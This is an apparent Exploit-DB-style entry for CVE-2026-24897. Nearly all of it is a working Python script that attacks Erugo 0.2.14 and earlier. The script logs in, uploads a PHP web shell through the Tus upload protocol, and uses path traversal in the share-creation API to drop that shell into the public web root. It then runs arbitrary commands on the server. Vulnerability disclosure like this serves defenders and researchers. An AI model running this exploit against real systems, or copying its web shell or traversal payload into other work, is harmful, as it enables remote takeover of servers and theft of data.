Erugo 0.2.14 Exploit, Remote Code Execution (RCE)

# Exploit Title: Erugo <= 0.2.14 - Authenticated Remote Code Execution (RCE)
# Date: 2026-02-02
# Exploit Author: Abdul Moiz
# Vendor Homepage: https://github.com/ErugoOSS/Erugo
# Software Link: https://hub.docker.com/layers/wardy784/erugo/0.2.14/images/sha256-d3da70b337212a6c774b7028256870274edc2ac40536fcc0f1706cbbc4ed4fbf
# Version: <= 0.2.14
# Tested on: Linux (Docker)
# CVE: CVE-2026-24897

import requests
import json
import sys
import time
import base64
import argparse
import random
import string
import warnings
from datetime import datetime, timedelta, timezone

# Disable SSL & Deprecation Warnings for clean output
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
warnings.filterwarnings("ignore", category=DeprecationWarning)

class ErugoExploit:
    def __init__(self, target, username, password):
        self.target = target.rstrip("/")
        self.username = username
        self.password = password
        self.session = requests.Session()

        # Standard Headers
        self.session.headers.update({
            "User-Agent": "Mozilla/5.0 (Exploit-DB)",
            "Accept": "application/json",
            "Tus-Resumable": "1.0.0"
        })

        # Generate a random 8-char filename to prevent collisions
        rand_str = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
        self.shell_name = f"{rand_str}.php"
        self.shell_content = '<?php system($_GET["cmd"]); ?>'

    def get_csrf(self):
        """Initialize session cookies"""
        print("[*] Initializing session...")
        try:
            self.session.get(f"{self.target}/login", verify=False, timeout=10)
        except Exception as e:
            print(f"[-] Connection failed: {e}")
            sys.exit(1)

    def login(self):
        print(f"[*] Authenticating as {self.username}...")
        url = f"{self.target}/api/auth/login"
        data = {"email": self.username, "password": self.password}

        try:
            r = self.session.post(url, json=data, verify=False, timeout=10)
            if r.status_code == 200:
                token = r.json().get("data", {}).get("access_token")
                if token:
                    self.session.headers.update({"Authorization": f"Bearer {token}"})
                    print("[+] Login Successful.")
                    return True
        except Exception as e:
            pass

        print("[-] Login Failed. Check credentials.")
        sys.exit(1)

    def upload_payload(self):
        print(f"[*] Uploading {self.shell_name} via Tus Protocol...")

        # 1. Tus Creation (POST)
        post_url = f"{self.target}/files/"

        # Base64 Encode metadata
        filename_b64 = base64.b64encode(self.shell_name.encode()).decode()
        filetype_b64 = base64.b64encode(b"application/x-php").decode()

        headers = {
            "Upload-Length": str(len(self.shell_content)),
            "Upload-Metadata": f"filename {filename_b64},filetype {filetype_b64}"
        }

        try:
            r = self.session.post(post_url, headers=headers, verify=False, timeout=10)
            if r.status_code != 201:
                print(f"[-] Tus creation failed. Status: {r.status_code}")
                sys.exit(1)

            location = r.headers.get("Location")
            file_id = location.split("/")[-1]

            # 2. Tus Data Transfer (PATCH)
            patch_headers = {
                "Content-Type": "application/offset+octet-stream",
                "Upload-Offset": "0"
            }

            r = self.session.patch(location, headers=patch_headers, data=self.shell_content, verify=False, timeout=10)

            if r.status_code == 204:
                print(f"[+] Payload uploaded. ID: {file_id}")
                return file_id
            else:
                print(f"[-] Data upload failed. Status: {r.status_code}")
                sys.exit(1)

        except Exception as e:
            print(f"[-] Upload error: {e}")
            sys.exit(1)

    def trigger_path_traversal(self, file_id):
        print("[*] Creating malicious share...")
        url = f"{self.target}/api/uploads/create-share-from-uploads"

        # Fix Date Warning: Use timezone-aware UTC
        tomorrow = datetime.now(timezone.utc) + timedelta(days=1)
        expiry = tomorrow.strftime("%Y-%m-%dT%H:%M:%S.000Z")

        payload = {
            "upload_id": "exploit",
            "name": "exploit_share",
            "recipients": [],
            "uploadIds": [file_id],
            "filePaths": {
                 # VULNERABILITY: Path Traversal
                 file_id: f"../../../../../public/{self.shell_name}"
            },
            "expiry_date": expiry,
            "password": "",
            "password_confirm": ""
        }

        try:
            r = self.session.post(url, json=payload, verify=False, timeout=10)
            if r.status_code not in [200, 201]:
                print(f"[-] Share creation failed. Status: {r.status_code}")
                print(f"    Response: {r.text}")
                sys.exit(1)
            print("[+] Malicious share created.")
        except Exception as e:
            print(f"[-] Error creating share: {e}")
            sys.exit(1)

    def execute_command(self, cmd):
        shell_url = f"{self.target}/{self.shell_name}"
        print(f"[*] Executing command: '{cmd}' at {shell_url}")

        time.sleep(1) # Wait for filesystem sync

        try:
            r = self.session.get(shell_url, params={"cmd": cmd}, verify=False, timeout=10)

            if r.status_code == 200:
                print("\n" + "="*50)
                print(f"COMMAND OUTPUT:")
                print(r.text.strip())
                print("="*50 + "\n")
            else:
                print(f"[-] Command failed. Status: {r.status_code}")
        except Exception as e:
            print(f"[-] Execution error: {e}")

def main():
    parser = argparse.ArgumentParser(description='Erugo <= 0.2.14 Authenticated RCE')
    parser.add_argument('-t', '--target', required=True, help='Target URL (e.g., http://localhost:9998)')
    parser.add_argument('-u', '--username', required=True, help='User email')
    parser.add_argument('-p', '--password', required=True, help='User password')
    parser.add_argument('-c', '--command', default='id', help='Command to execute (default: id)')

    args = parser.parse_args()

    exploit = ErugoExploit(args.target, args.username, args.password)

    exploit.get_csrf()
    exploit.login()
    fid = exploit.upload_payload()
    exploit.trigger_path_traversal(fid)
    exploit.execute_command(args.command)

if __name__ == "__main__":
    main()

All rights reserved nPulse.net 2009 - 2026
Powered by: MVCP2 / BVCP / ASPF-MILTER / PHP 8.3 / NGINX / FreeBSD